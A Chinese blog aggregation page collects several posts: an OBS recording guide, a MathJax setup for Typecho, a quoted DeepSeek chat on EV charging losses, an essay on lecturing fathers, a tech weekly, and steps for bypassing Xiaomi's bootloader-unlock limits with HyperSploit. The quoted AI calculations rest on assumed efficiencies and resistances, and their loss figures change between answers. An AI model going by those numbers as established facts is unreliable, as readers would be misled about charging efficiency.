普通视图
杂记之20250425
Windows 电脑使用 Obs Studio 录制各个网站视频/桌面画面教程
我分享这个 flow 是因为我有分享视频中片段的需求,但是又不想用相机拍摄,相机拍摄效果可能也不好。下载下来再裁剪又太麻烦。尤其是我喜欢看车祸警示录,有时候看到某些事故非常搞笑,我就用这个手段录制下来,视频可能就10s,30s,然后再微信分享,就很 nice 了。如果是分享10min的完整视频那种,就不如直接贴链接,或者直接下载下来再分享,不需要使用本文方案进行录制。
前言
你是否会因为难以下载 YouTube, X(Twitter), 小红书, Instagram, 微博 之类的网站上的视频而发愁呢……虽然下载这些网站的视频大多都有在线工具或者命令行工具,可以在 GitHub 寻找。
但是目前经过我的日常使用,小红书和微博上的视频资源不是很轻松就能下载下来,或者下载用时很久,还可能下载下来文件太大(比如下载时无法执行码率和分辨率),不利于再次分享。
我为了解决这个问题,一开始使用了 NVIDIA Geforce Experience,但是这个只能录制屏幕的完整内容,如果想要录制屏幕当中的某一块区域,英伟达这个软件就不行了。
于是转而使用 Obs Studio。下面这段介绍来自 DeepSeek V3
OBS Studio(Open Broadcaster Software)是一款免费开源的跨平台直播和录屏软件,广泛用于游戏直播、教学演示、视频创作等场景。以下是其核心特点:
1. 核心功能
- 多场景切换:可创建多个场景(如游戏界面、摄像头画面、PPT等),直播时实时切换。
- 来源组合:支持添加窗口捕获、摄像头、文字、图片、浏览器、音频等元素,自由布局。
- 高性能录制:支持高帧率(60fps+)、高分辨率(4K)录制,输出为MP4、MKV等格式。
- 直播推流:一键推流到Twitch、YouTube、B站等平台,支持RTMP协议。
2. 技术优势
- 低延迟编码:内置x264、NVENC(NVIDIA显卡)、AMF(AMD显卡)等硬件加速编码器。
- 音频控制:多轨道音频混合,支持降噪、增益等滤镜。
- 插件扩展:通过插件支持虚拟摄像头、字幕、特效等扩展功能。
3. 适用场景
- 游戏直播:捕获游戏画面+摄像头叠加,实时互动。
- 网课/会议:录制屏幕+PPT演示,或虚拟摄像头接入Zoom/Teams。
- 视频创作:录制教程、剪辑素材,支持后期音频分离编辑。
4. 跨平台支持
- 支持Windows、macOS、Linux系统,界面简洁但需一定学习成本。
5. 注意事项
- 硬件要求:高清直播需中高端CPU/显卡,建议提前测试性能。
- 学习曲线:高级功能(如音频路由、动态滤镜)需查阅教程。
官网下载:OBS Project
社区活跃,遇到问题可通过论坛或GitHub快速解决。适合追求高自由度、零成本的用户。
我在使用 Windows 11 电脑。安装好 Obs Studio 之后,打开软件,进行初始化配置,我不直播,所以只进行了 recording 录制相关的初始化,最后 apply settings,应用设置。
添加源。我拿录制B站车祸警示录的视频举例,使用 edge 浏览器播放B站视频,那么来源选择【窗口采集】,选中正在运行的 edge 那个窗口,标题前缀是 [msedge.exe]
,
如果不想录入当前电脑麦克风的声音,请将 Mic 给静音。
此时会录制整个窗口的画面,如果想录制视频播放区域,需要添加一个裁剪/填充
的【滤镜】,如下图,设置好距离左,顶部,右,底部的像素数量关闭即可。
最后再点击【开始录制】,同时播放 edge 浏览器窗口的视频,在视频结束时(或者你想截取的视频片段刚好结束)点击【停止录制】。
最终录制视频呈现的质量,设置项在 【设置】->【输出】->【录制】->【录像质量,录像格式,视频编码器,音频编码器,音轨】等配置。
建议录像格式使用MPEG-4,方便传播,比如微信就可以直接预览 mp4 视频。
为typecho博客添加latex支持
使用了这个插件: https://github.com/zyuzhi/MarkdownKatex-typecho ,下载了 v1.0.1
,但是点击创建文章之后无法返回所有文章页面。另外博客首页也无法加载,禁用插件即恢复正常。懒的去追究原因了,索性不用插件改用其他方法。
我家里的一台机器也部署了 typecho,同样都是 docker compose 部署的,和当前 typecho 实例的区别大概就是
v1.2.0
vsv1.2.1
。家里机器上的 typecho 是 1.2.0,当前实例是 1.2.1,有可能是版本升级导致的原有插件失效,因为上述插件 GitHub 源代码是2018年左右最终打包到 release 发行的。
在 typecho v1.2.1
实例上测试如下方法可以为 typecho 博客添加 latex 支持。
方法参考: https://www.xrgzs.top/posts/typecho-use-mathjax-add-latex-support
修改当前主题的 footer.php
将以下代码添加到 footer.php </body>
关闭标签之前。我这个主题这个文件在 components/footer.php
。我上面参考的博客将这段脚本引用放在了 index.php,可能会引起 DOM 渲染紊乱,比如图片被拉长,主页 footer 在页面中间渲染。放在 footer.php
的 </body>
前,此时 DOM 已解析完成,图片布局已稳定,脚本加载不再影响初始渲染
<script type="text/javascript"
src="//cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
</script>
修改当前主题的 header.php
将以下代码添加到 header.php 的适当位置。我这个主题这个文件在 components/header.php
。
<script type="text/javascript"
src="//cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
</script>
<script type="text/x-mathjax-config">
MathJax.Hub.Config({
extensions: ["tex2jax.js"],
jax: ["input/TeX", "output/HTML-CSS"],
tex2jax: {
inlineMath: [ ['$','$'], ["\\(","\\)"] ],
displayMath: [ ['$$','$$'], ["\\[","\\]"] ],
processEscapes: true
},
"HTML-CSS": { availableFonts: ["TeX"] }
});
</script>
mardown + latex 测试
牛顿第二定律
物体所受合外力 $\mathbf{F}$ 与其加速度 $\mathbf{a}$ 满足:
$$ \mathbf{F} = m\mathbf{a} = \frac{d\mathbf{p}}{dt} $$
其中:
- $m$ 为物体质量(单位:$\mathrm{kg}$)
- $\mathbf{p} = m\mathbf{v}$ 为动量(单位:$\mathrm{kg \cdot m/s}$)
- $t$ 为时间(单位:$\mathrm{s}$)
万有引力公式
两个质点间的引力大小:
$$ F = G\frac{m_1 m_2}{r^2} $$
式中普适常量: $G \approx 6.674 \times 10^{-11}\, \mathrm{m^3 \cdot kg^{-1} \cdot s^{-2}}$
新能源汽车之纯电车使用交流慢充和直流快充的充电损耗对比
以下是我和DeepSeek R1的对话
USER
新能源汽车使用7kW 交流慢充和外面的直流快充,哪个充电时损耗更高?7kW 交流慢充的电流大概30A,44度电池大概需要7个小时;使用外面直流快充桩,假如功率是70kW,充满需要1小时,但是充电电流最大180A左右。请计算一下哪种充电方式电损耗更多?
ASSISTANT
在比较新能源汽车使用7kW交流慢充和70kW直流快充的充电损耗时,需综合考虑线损和转换效率。以下是关键分析步骤:
1. 交流慢充(7kW)的损耗计算
- 输入电能:7kW × 7h = 49kWh
- 输出电能:44kWh(电池容量)
- 总损耗:49kWh - 44kWh = 5kWh
- 转换效率:车载充电机(OBC)效率约90%,线损约0.44kWh(假设线缆电阻0.1Ω)。
- 实际总损耗包括OBC转换(约4.45kWh)和线损(0.44kWh),总约4.89kWh。
2. 直流快充(70kW)的损耗计算
- 理论输入电能:70kW × 1h = 70kWh
- 矛盾:若输入70kWh,输出44kWh,损耗26kWh(效率仅62.8%),不合理。
- 实际修正:假设充电桩效率95%,线损0.65kWh(电阻0.02Ω),则输入电能为:
- 输出电能需求:44kWh + 0.65kWh = 44.65kWh
- 电网输入:44.65kWh / 0.95 ≈ 47kWh
- 总损耗:47kWh - 44kWh = 3kWh(含充电桩损耗2.35kWh + 线损0.65kWh)。
3. 关键结论
- 线损比较:快充电流更大(180A vs. 30A),线损更高(0.65kWh vs. 0.44kWh)。
- 总效率比较:快充因跳过车载充电机,转换效率更高(95% vs. 90%),总损耗更低(3kWh vs. 4.89kWh)。
- 用户数据问题:若按用户假设快充输入70kWh,则损耗高达26kWh,但此情况不现实,实际快充效率更高。
最终答案
在合理假设下,直流快充的总损耗更低(约3kWh),因其转换效率更高且充电时间短。但若按用户提供的错误数据(快充输入70kWh),则损耗更高,此情况不符合实际。实际使用中,快充是更高效的选择。
USER
我给出的快充功率70kW,但实际充电功率并不是恒定70kW 呀,功率会随着电池soc的增高而降低的。所以快充充满一般都需要1小时。请再计算看看
ASSISTANT
在考虑快充功率动态变化的情况下,重新计算两种充电方式的损耗如下:
1. 直流快充(动态功率)损耗计算
假设条件:
- 电池容量:44kWh
- 充电时间:1小时(总耗时)
- 充电功率曲线:前80% SOC(0-35.2kWh)以70kW充电,后20% SOC(35.2-44kWh)功率逐步下降至约9kW,平均功率约为 44kW(总输入能量需满足电池容量+损耗)。
- 充电桩效率:95%(含AC/DC转换损耗)
- 线缆电阻:0.02Ω(快充高压线缆更粗,电阻更低)
- 充电电压:400V(直流快充典型电压)
计算步骤:
- 输出到电池的电能:44kWh
- 充电桩输入电能(含效率损耗): $$ \text{输入电能} = \frac{44\ \text{kWh}}{0.95} \approx 46.3\ \text{kWh} $$
- 线损计算(动态电流积分简化):
- 平均电流: $$ I_{\text{avg}} = \frac{\text{平均功率}}{\text{电压}} = \frac{44\ \text{kW}}{400\ \text{V}} = 110\ \text{A} $$
- 线损能量: $$ P_{\text{线损}} = I_{\text{avg}}^2 \cdot R \cdot t = (110)^2 \cdot 0.02 \cdot 1 \approx 242\ \text{Wh} = 0.24\ \text{kWh} $$
- 总损耗:
- 充电桩损耗:46.3kWh - 44kWh = 2.3kWh
- 线损:0.24kWh
- 合计:2.3 + 0.24 = 2.54kWh
2. 交流慢充(7kW)损耗计算
假设条件:
- 充电功率:7kW(恒定)
- 充电时间:7小时(44kWh / 7kW ≈ 6.3小时,取整为7小时)
- 车载充电机(OBC)效率:90%
- 线缆电阻:0.1Ω(家用交流线缆较长,电阻更高)
- 充电电压:230V(单相交流)
计算步骤:
- 输入电能: $$ 7\ \text{kW} \times 7\ \text{h} = 49\ \text{kWh} $$
- OBC输出电能(考虑效率): $$ 49\ \text{kWh} \times 0.9 = 44.1\ \text{kWh} $$
- 线损计算:
- 电流: $$ I = \frac{P}{V} = \frac{7000\ \text{W}}{230\ \text{V}} \approx 30.4\ \text{A} $$
- 线损能量: $$ P_{\text{线损}} = I^2 \cdot R \cdot t = (30.4)^2 \cdot 0.1 \cdot 7 \approx 649\ \text{Wh} = 0.65\ \text{kWh} $$
- 总损耗:
- OBC损耗:49kWh - 44.1kWh = 4.9kWh
- 线损:0.65kWh
- 合计:4.9 + 0.65 = 5.55kWh
3. 结论对比
指标 | 直流快充(动态功率) | 交流慢充(7kW) |
---|---|---|
总损耗 | 约2.54kWh | 约5.55kWh |
损耗比例 | 5.8%(44kWh电池) | 12.6% |
核心原因 | 转换效率高(95%)、时间短、线损低 | 转换效率低(90%)、时间长、线损高 |
最终答案
即使考虑快充功率随SOC动态下降的情况,直流快充的总损耗(约2.54kWh)仍显著低于交流慢充(约5.55kWh)。核心原因在于:
- 快充跳过车载充电机,直接由高效充电桩(95%)完成AC/DC转换;
- 快充时间短(1小时),线损积累更少,尽管电流较大,但高压线缆电阻更低;
- 慢充因充电时间长(7小时)且OBC效率低(90%),累计损耗更高。
实际建议:若需减少充电损耗,优先选择直流快充;若考虑电池寿命,可适当使用慢充平衡。
爹的高台教化
吃饭的时候遇到一个「爹」,应该是为儿子庆祝考试成绩,但全程只听到爹对儿子的高台教化。节选一些听到的内容:
- 人不能成为众矢之的,你知道什么叫众矢之的吗?你知道为什么人不能成为众矢之的吗?
- 努力有必要,但是不能蛮干,否则我们花这么多钱让你读书,岂不是大家都白努力了吗?
- 爸爸在你这个年纪的时候,已经明白了人不能放弃,一旦有了放弃的念头,你就输了,你知道吗?
- 妈妈之所以能遇到我,是因为我足够优秀,否则就不会有你了,你知道吗?
爹这个符号很常见,但我也是在今天第一次见到如此没有「男性特征」的爹。可能以下的内容会引起不适,但我需要客观地描述「没有男性特征」这件事。
因为是背对着,他刚落座的时候,我就察觉到了很强烈的「焦虑感」,他会满场控制服务员的行为。他是全场不停输出的人,但他的外在形象和举止十分阴柔,这种阴柔几乎达到了「婆婆妈妈」的层级。我知道这是一种性别歧视,但既然他作为一个「生理爹」的符号,同时又在不停地输出以通过儿子获得「男性尊严」,所以这种割裂感不得不推导出「平衡」以外的点——一个需要通过高台教化的方式获得男性特质,即「爹符号」的男性,其衰弱的能量可能会出现在几个方面:
- 工作,因为当太久的孙子,需要有一个地方可以持续当爹;
- 性生活被压抑,这种压抑不是来自于被压抑,而是他作为主动压抑的一方,其具体差别在于:
- 若是被压抑方,性压抑会转化为攻击性、创造性、强迫症;
- 若是主动压抑方,例如性无能、性向隐瞒等,则会通过对他人的控制来弥补男性特质衰弱的事实;
- 因为人体机能的关系,男性也会因为年纪的渐长而出现荷尔蒙减少的过程。男性能力下降的过程中,就会出现「代偿行为」。这个能力不单单是指性能力,也可能涉及自我认同感、被关注程度、家庭地位等等。(《性癖纵横观II》)
说起这个观察,并不是要吐槽这个「爹」,而是聊聊男性的「表达欲」。我是个表达欲很强烈的人,除了博客,还有播客、剧本和小说创作,因为大部分时间我都在压制自己的攻击性,回退这件事是因为我从小就生活在不善于表达情绪的家庭里。男性长辈都是闷葫芦,女性长辈又都情绪泛滥,常常会以叹气来代替一句原本应该表达清楚的内容,所以大家都需要去猜测叹气背后的真实含义是什么。以至于不善于表达情绪成了男性家庭成员的「生存方案」,即只要我不表达真实情绪,就不会因为自己的情绪引发对方的情绪。
情绪不会自然消解,当被压制时会形成对内的攻击。说个题外话,这就是我家族男性成员或多或少肝功能不好的原因之一。当这种攻击性达到极致,就会需要其他的释放通路,例如创作欲、捣鼓机械、风险投资等等。
我家很少出现说教的场景,因为大部分的说教是母亲这个角色通过情绪裹挟和道德绑架的形式完成的,所以父亲反而会充当那个「听我解释」的角色。当然这是后话了,回到爹的高台教化这件事,如果这些情绪没有通过其他形式的通路给发泄完毕时,就有可能会转而形成强烈的「爹味」。
「爹」会有两种符号,一种是无法违抗的父权,即「权威爹」,另一种是迫使他人遵守的规则,即「说教爹」。
——《我们为什么需要“爹味”?》
之前三番五次提及过一个底层逻辑,即男性的原始动力是「尊严」,结合前一节讲到的能量衰弱的原因,就可以串起来解释了:
- 「权威爹」的尊严层级更像是通过「谁的拳头更有力」来决定的。儿子自然是弱小于父亲的,哪怕是有一天他意识到儿子已经长成了可以和自己对抗的孩子,仍然可以通过「孝顺」这件事来作为规则层面的压制;
- 「说教爹」的尊严程度更像是通过「制定规则」来决定的。因为男性特质的衰弱,无法通过拳头的方式对比尊严,则通过说教的方式重新调整规则——你必须听我的,因为没有我你无法在这个世界生存;
很有趣的是,这件事居然是可以反推成立的——即一个男性越是把说教成为寻求「地位确认」的手段,就越是男性能量衰弱,因为如果他有足够硬的拳头,就已经使用力量获得尊严了。
于是,在这个过程中,高台教化就成了「说教爹」非常巧妙的表面伪装。现在需要解释清楚什么是「高台教化」。首先,这是一个「排他性认定标准」,即我认为你的作品是在高台教化,那就是高台教化,因为高台教化本身没有标准,甚至会因为主观喜恶,而觉得对方放个屁都是在讲道理。
所以第一步需要摒弃主观好恶,再来解释高台教化:
- 高位俯视。这一点本身是相对存在的,但由于个体认知差异,必然会形成暂时的相对高度(但不可否认,认知歧视又确实存在)。
- 应然判断。休谟认为我们无法从「实然」命题推导出「应然」命题,除非我们可以明确地阐述其逻辑关系。例如,我们无法从「你的文字让我感觉到不舒服」推导出「你的文字毫无价值」;大部分高台教化会采用这样的叙事风格,将一个主观感受与客观事实叠加形成结论,而没有完整地解释其内在的逻辑关系。
- 缺乏自我反思。高台教化的观点往往会被伪装成「普遍性」存在,而非「框架产物」;
- 所谓的「框架产物」是一个人的观点、结论、判断,都是在特定认知框架下产生的结果;
- 高台教化是将自己框架下的产物,当成了所有人都该遵守的公理或标准;
- 反之,框架和框架之间的认知差异,也会导致其中一方认为对方的认知即对自己的「定性」,而产生非黑即白的认知,即证明你是错误的,那我就是对的;
- 权威性。我虽然不反对权威性,但个体的权威性并不能覆盖他人认知,除非这样的权威性已经成为一个乌合之众的「纲领」,否则其权威性是应该接受考验和质询。
当然,上述的高台教化的构成要件本身也有局限性,因为我认为主观先行要比客观标准更重要,比如有的人更喜欢完全的结论先导,或是应然命题的绝对感,或是自我权威对他人在认知、知识储备上的碾压。
当然,不可否认的是「说教爹」的高台教化在某些时候也是有「内容」的,只是他的表达方式会让一些人感到不悦。同时高台教化也很容易禁不起「反驳」,但是这个表象也并不能完全否认其内容的「价值」。
总结一下:为什么值得弄清楚「高台教化」这件事:
- 能用于分析父母、权威者、对话双方的表达姿态;
- 能用于判断一段话是否试图「说服」,还是试图「压制」;
- 也能帮助自己反思写作或讲话中是否不小心落入「应然」的结构里。
最终的最终,我认为认定高台教化这件事本身是「主观先行」的问题,如果主观上无法接受,那对方放个屁也是在说教~
科技爱好者周刊(第 346 期):未来就是永恒感的丧失
这里记录每周值得分享的科技内容,周五发布。([通知] 下周五一假期,周刊休息。)
本杂志开源,欢迎投稿。另有《谁在招人》服务,发布程序员招聘信息。合作请邮件联系(yifeng.ruan@gmail.com)。
封面图
大阪世博会的中国馆,以"中华书简"为主题。(via)
未来就是永恒感的丧失
有一类人叫做未来学家(Futurists),专门研究未来。
这类人通常很快被忘记,因为他们的预测基本不准。就算偶尔说对了,后人也会觉得稀松平常。
历史上最著名的未来学家,大概是一个叫做阿尔文·托夫勒(Alvin Toffler,1928--2016)的美国人。
上个世纪七十和八十年代,他写过很多预测未来的书,非常畅销。1983年,国内就引进了他的书,轰动一时。
时过境迁,现在几乎没人提他了。
前些日子,一个朋友对我说,你可以去看看他的书,居然没有完全过时。
我看了一些片段,很震惊。这些片段根本不像写于半个世纪之前,更像写于现在。
托夫勒的第一本书,叫做《未来的冲击》,写于1970年,国内有中文版。
下面就是他的主要观点。大家一定要记住,这些话写于1970年,那个时候还没有信息革命,既没有个人电脑,也没有手机和互联网。
托夫勒认为,人类以前是农业社会,现在是工业社会,即将进入超工业社会。
超工业社会有两个特征。
首先,工业人口只占少部分,大部分人从事脑力劳动。
其次,即使少部分人从业工业,生产出来的工业品,也大大超过需要。
那么,问题就来了。如果50%、甚至40%的工业生产能力,就能生产出满足所有人需要的工业品,那么会怎样?
托夫勒说,为了消化掉多余的工业品,结果就是加速。社会开始让消费加速,让技术也加速,最终让商品的流通速度变快,只有这样才能消费更多的商品。
这意味着,人类社会将变快。我们生活的根本特征,不再是持久,而是短暂。
(1)生活用品变得短暂,越来越多一次性产品:一次性筷子,一次性圆珠笔,一次性塑料瓶,甚至一次性衣服。
(2)即使长期使用的产品,也在快速升级换代。微波炉、洗衣机这样的耐用消费品,人们也只要今年的型号,不要去年的型号。
(3)社会充斥着速成食品、速成教育,甚至城镇也可以速成。
(4)知识短暂化,用过即弃。
(5)工作变得短暂。职位、公司、甚至行业,随时都会消失,新的部门和行业不断涌现。
(6)生活环境变得短暂。人们经常搬家,不会在一个地方久居。
(7)人际关系变得肤浅。人与人之间很难产生稳定深入的关系,交流持续的时间缩短,更多的是偶遇和点头之交。
(8)人们面对快速变化,内心感到疲惫和衰弱,情绪变得不稳定,精神病人变多。
总之,未来的根本特征,就是永恒感的丧失,取而代之的是短暂感。
Trae 的 万「友」引力计划
本周,字节的 AI 编辑器 Trae 发了新版,可以调用 MCP 服务器了。
这可是重磅消息,开辟了一个全新天地,我还写了一篇教程。
官方为了推广,投入了大量资源,Doubao、DeepSeek、Claude、Gemini、GPT-4o,现在都是免费用(后三个模型需要 Trae 海外版)。
为了让更多的同学参与,只要你深度体验 Trae,完成简单任务,就可以获得相应积分,兑换奖品。
奖品包括 华为 MatePad Air、雷蛇机械键盘、热门 App 会员卡等。
详情访问这个链接,或者扫描上方海报的二维码。
机会难得,既能学习 AI 和 MCP,还能拿奖品,大家不要错过哦。
科技动态
1、虚拟味觉
香港城市大学的科学家,提出了一种虚拟味觉的实现方法。
他们做了一个类似棒棒糖的"虚拟味觉器",用户把它含在嘴里。
它会以"离子泳"的形式,释放水凝胶。目前,一共9种口味的水凝胶,也就是说用户可以尝到9种味道:糖、盐、柠檬酸、樱桃、百香果、绿茶、牛奶、榴莲和葡萄柚。
这里的关键是,水凝胶的释放可以编程控制,因此可以用来在电子游戏中增强用户体验,或者网上购物时让用户先品尝食品味道。
2、旅行推销员问题是一个著名的计算机科学问题。
它的表述是,怎么规划出一条最短路线,可以拜访每一座城市一次,最终回到起始城市。
最近,一个国际团队打破了旅行推销员问题的世界纪录。
他们规划出一条最短路线,可以一次性走遍韩国所有81,998家酒吧。
一刻不停的步行,完成这条路线一共需要178天。
此前的世界纪录是2021年创造的,走完荷兰57,912个纪念碑的最短路线。
苹果的 AR 头盔 Vision Pro,售价高达3万元人民币,销量并不好。
用户普遍觉得,它的用处并不大,售价又这么贵。但是,它意外在一个场合非常受欢迎。
美国的一些医院发现,它可以用于微创手术。医生戴着头盔,给病人开刀,上图就是两个这样的医生。
很多手术,尤其是涉及血管和神经的手术,要求非常精细,动刀位置不能有一点差错。
医生不可能凑上去看,现在都是用摄像头放大后,看着显示器动刀。
Vision Pro 戴在眼前,影像更大,看得更清楚,而且还能叠加多窗口,显示心率血压等指标。
医生非常喜欢这个设备。价格完全不是问题,因为手术用显示器的价格是 Vision Pro 的好几倍。
4、其他
(1)北京举行机器人半程马拉松比赛。21公里的路程,冠军成绩是2小时40分42秒,需要更换三次电池。
(2)4月25日的日出前,土星、金星、月亮,将组成笑脸图案。
(3)亚马逊在欧洲实验,让送货卡车配备心脏除颤器,一旦送货时遇到突发心脏病的人,可以进行急救。
(4)索尼推出全球最小的激光雷达,适合用于无人机、机器人。
文章
1、昊龙:中国首个货运航天飞机(中文)
天宫空间站的补给,目前由天舟飞船完成。但是,天舟每次返回大气层,都会烧毁。
国内正在研究可以重复使用的"昊龙"货运飞船,以降低货运成本。
昊龙已经完成了设计,正在工程测试阶段。
2、如何使用 UTM 在 Mac 电脑架设虚拟机(英文)
一篇教程,教你如何在 MacBook 安装 utm 虚拟机,从而方便地使用 Linux 系统。
3、清理<head>
(英文)
网页的<head>
部分里面,很多标签是不必要的,这个网站介绍可以删除的标签,比如 favicon、Apple touch icons。
4、线上故障应急处理:4 年多 on call 经验总结(中文)
我的第一份工作是 CDN 基础设施研发,考虑到公司体量,那些年其实故障蛮多的。在故障处理中,积累了一些经验教训,总结回顾一下。(@swananan 投稿)
5、在 Docker 沙箱中运行 MCP Server(中文)
本地运行他人的 MCP 服务器有极大的风险,本文介绍怎么在 Docker 沙箱里面运行。(@ccbikai 投稿)
6、如何用 Whisper 生成字幕(英文)
本文是作者的操作记录,演示如何用 OpenAI 公司的 Whisper 模型为视频文件生成字幕。
工具
一个 CSS 组件库,使用最新的 CSS 规范,也就是说,不考虑兼容老旧浏览器。
一个从 TypeScript 脚本剥离类型代码的工具,也就是将 TS 脚本转成 JS 脚本,但是不进行类型检查。
一个 TypeScript 的用户身份认证库,功能全面,密码登录、双因素认证、外部身份提供商等都支持。
Chrome 浏览器插件,自动保存所有浏览过的网页,提供浏览历史的全文搜索。
这个网页工具将 CSS 代码转成 unoCSS 或者 TailwindCSS 的写法。(@Simon-He95 投稿)
6、NoteGen
跨平台的 Markdown 笔记软件,支持接入 AI 模型。(@codexu 投稿)
一个修改 hosts 文件,加快 GitHub 访问速度的 Python 脚本。(@jvxiao 投稿)
这里还有一个 Cursor 的 hosts 文件生成器。(@Oliverwqcwrw 投稿)
8、旅游翻译器
网友做的旅行翻译网站,支持对话翻译和拍照翻译,代码开源。(@traveltranslator1 投稿)
9、Shui
开源的桌面软件,定时提醒喝水。(@rock-zhang 投稿)
10、SnowAdmin
基于 Vue + Vite 的网站管理后台模版。(@WANG-Fan0912 投稿)
AI 相关
1、chatlog
用 AI 处理微信本地聊天记录的工具。(@sjzar 投稿)
一个 MCP 服务器,提供中文菜谱、餐食规划。(@worryzyy 投稿)
字节推出的 JS 工具,最新功能是通过 AI 和 adb,完成安卓手机自动化。它早先已经可以浏览器自动化。(@yuyutaotao 投稿)
一个 Go 语言写的网关服务,将已有的 API 转成 MCP 服务,无需改动任何代码。(@iFurySt 投稿)
资源
1、全球地铁线路图
这个网站收集了全球各大城市的地铁地图。(@027xiguapi 投稿)
2、如是我闻
佛经阅读平台,带有 AI 翻译和问答。(@bolechen 投稿)
该网站对用户上传的照片给出详尽描述,从而可以发现照片泄漏了多少信息。
日本木匠大会
日本每年举行一次全国木匠大会。
大会有一个项目,就是刨花比赛,看看谁的刨花最薄。
比赛规定,木材必须是宽55毫米、长1800毫米的桧木。进入决赛的5名选手,为了公平,将使用同一块桧木。
刨出来的刨花必须完整,没有裂口,长度在1米左右,才能参加评分。
工作人员把所有选手的刨花,挂在黑板上,进行公示,评委进行打分。
这些的刨花如此之薄,令人不敢相信。
冠军选手的成绩是50微米,也就是1毫米的20分之一。
文摘
我是一个信息瘾君子,对各种信息上瘾。
当我想学习一项新技能,或者有了一种新爱好,我就立即前往亚马逊网上书店,购买3~4本该主题的书籍。
现在我的书柜里面、有关于 HTML 基础知识、纸牌魔术、高尔夫、编剧、赛车、冥想、举重以及大约10个其他主题的书籍。
我也会订阅一些博客和播客,阅读所有最受欢迎的帖子,聆听了各种专家访谈。有时候,我甚至会在 Evernote 做一些笔记,或者在浏览器为某些页面添加书签。
然而,我总是缺少一件事:实际成果。
我对那么多东西感兴趣,也学了很多,但是没有做出什么成果。
我只是查找和使用信息,这很容易,对于像我这样好奇的人来说,这通常也非常有趣。
但它实际上并没有完成任何事情,这是伪工作,一种自我安慰。
创造才是更有效的方式,你开始制作东西----网站、成功的高尔夫击球、剧本等等,不管是什么----然后,无非就是两种结果。一种结果是你意识到自己对它不那么感兴趣,另一种结果是你真的喜欢它,开始深入研究。无论哪一种结果,都是值得的,而盲目消费信息,则是一种无效的表面行为。
言论
1、
AI 伴侣可以减少孤独感,但是会产生新的问题。它可能取代人际互动,让你丧失基本社交技能,从而变得更加孤立。
-- 哈佛商学院的一项研究
2、
简单和优雅不受欢迎,因为它们需要努力工作和纪律才能实现。
-- Edsger Dijkstra,著名计算机科学家
3、
规则就像汽车上的安全带:一开始可能会有点不舒服,但一段时间后,使用规则就会成为习惯,不使用规则就变得不可想象。
---- Gerard J. Holzmann
4、
企业编程必须始终依赖流程,而不是个人。
个人能力很重要,应该鼓励,但不能指望它,否则软件质量将不一致,没有可持续性。一旦顶级程序员跳槽,公司就会陷入困境。
企业应该努力改进工作流程,而不是努力改进人员,始终坚持流程优先于人员。
5、
我喜欢软件,因为软件可以创造无限可能性和一种非凡的民主。
往年回顾
AI 的关键是语料(#299)
最成功的软件企业家(#249)
俄罗斯的 HTTPS 证书问题(#199)
新能源汽车,谁会是赢家?(#149)
(完)
文档信息
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)
- 发表日期: 2025年4月25日
【公园经营模拟】自动售货机
解锁 Redmi K40S(HyperOS 1.0)的 bootloader
从 HyperOS 开始,解锁 bootloader(引导程序)的难度大大增加,不过还是有办法绕过限制。建议想解锁的读者先暂停系统更新和应用更新,以免升级后无法绕过限制。
这台 Redmi K40S 的系统版本是 HyperOS 1.0.8.0.ULMCNXM。以下是解锁方法:
- 插入手机卡。
- 下载设置应用,解压后传到手机安装,成功。
- 根据电脑系统下载 HyperSploit 并运行,根据提示操作。
- 这台手机显示验证失败,电脑显示
Error 401: Xiaomi account credentials expired, login again
。 - 退出账号,登录账号。再次运行 HyperSploit,这次电脑显示绑定成功了。运行小米官方解锁工具(备用版),提示等待 168 小时。
- 手机卡就留在这里了1。
- 打开应用商店,关闭自动升级。打开系统更新,关闭自动下载和夜间安装。让手机一直开机。
- 等够 7 天后再次运行小米官方解锁工具,成功啦!
重启完居然显示有账号锁,需要联网后验证小米账号密码。我的手机卡设置了密码,系统它又不让我输入手机卡密码(这太傻了吧!),这样无法用手机卡的网络。只好连接 WIFI 了,输入密码后进入系统,再退出小米账号。最后装上了我最喜欢的 LineageOS 系统。
-
我不确定是否要一直插卡,只是感觉这样比较稳妥。 ↩︎
win10更新卡死
当年今日
- 2025 : win10更新卡死
- 2024 : 基于class的级联分类下拉达成
- 2023 : 有集体荣誉感吗
- 2022 : 高湿
- 2021 : 收拾一下
- 2020 : 该知道的我不知道
- 2019 : 一场误会
- 2018 : RUN NOTE
- 2018 : 蓝牙适配器,很好
- 2017 : RUN NOTE
- 2017 : 《银河护卫队2》已开始预售
- 2016 : 天生的
- 2015 : 暗算
- 2014 : 让运动成为你的习惯
- 2013 : 教路耳机驳线
- 2012 : 阳光永远存在
- 2011 : 沉迷是罪过
- 2010 : baby Sloan杀到
- 2009 : 讨厌三六九等
- 2008 : 一起跑吧!
- 2007 : 初试英文报告
- 2006 : 和化学在一起
- 2005 : Embarrassing with Rain
周三的上午跟往常一样,我操作完一些必须要完成的事情以后,看到win10右下角出现了更新的符号,点开后那里说我已经完成了一个框架更新,同时也有一个累计更新,问我需不需要下载安装,我点击了下载安装,下载是正常的,但是安装到最后就告诉我更新失败。拿着那条代码去搜索,发现原因大概是这个更新在我这个系统的更新目录里,但是里面缺少了二进制的代码,所以更新失败。如果没记错的话,上个周末在家里,我的笔记本电脑也出现过这种情况,但是那个时候我根本没想,更新失败就等下一次再更新吧,反正也无所谓。单位电脑的框架更新已经安装完成,电脑就必须重启才能完成最后的步骤。反正那个时候我也没什么工作,更新完毕,重启一下电脑,理论上也耗不了多少时间。我又是那种强迫症患者,没办法接受右下角一直都有那个更新的符号。我在点击重启之前,我的手机正在使用着电脑共享出来的WiFi。以前是一直没什么问题,反正关掉电脑以后WiFi就断了,那么手机就会自动连上其它的WiFi。之所以我要用自己的电脑和无线网卡共享一个WiFi出来,是因为隔壁那个路由器可能连接的人多了,经常会出现莫名其妙的缓慢卡顿甚至上不了网。
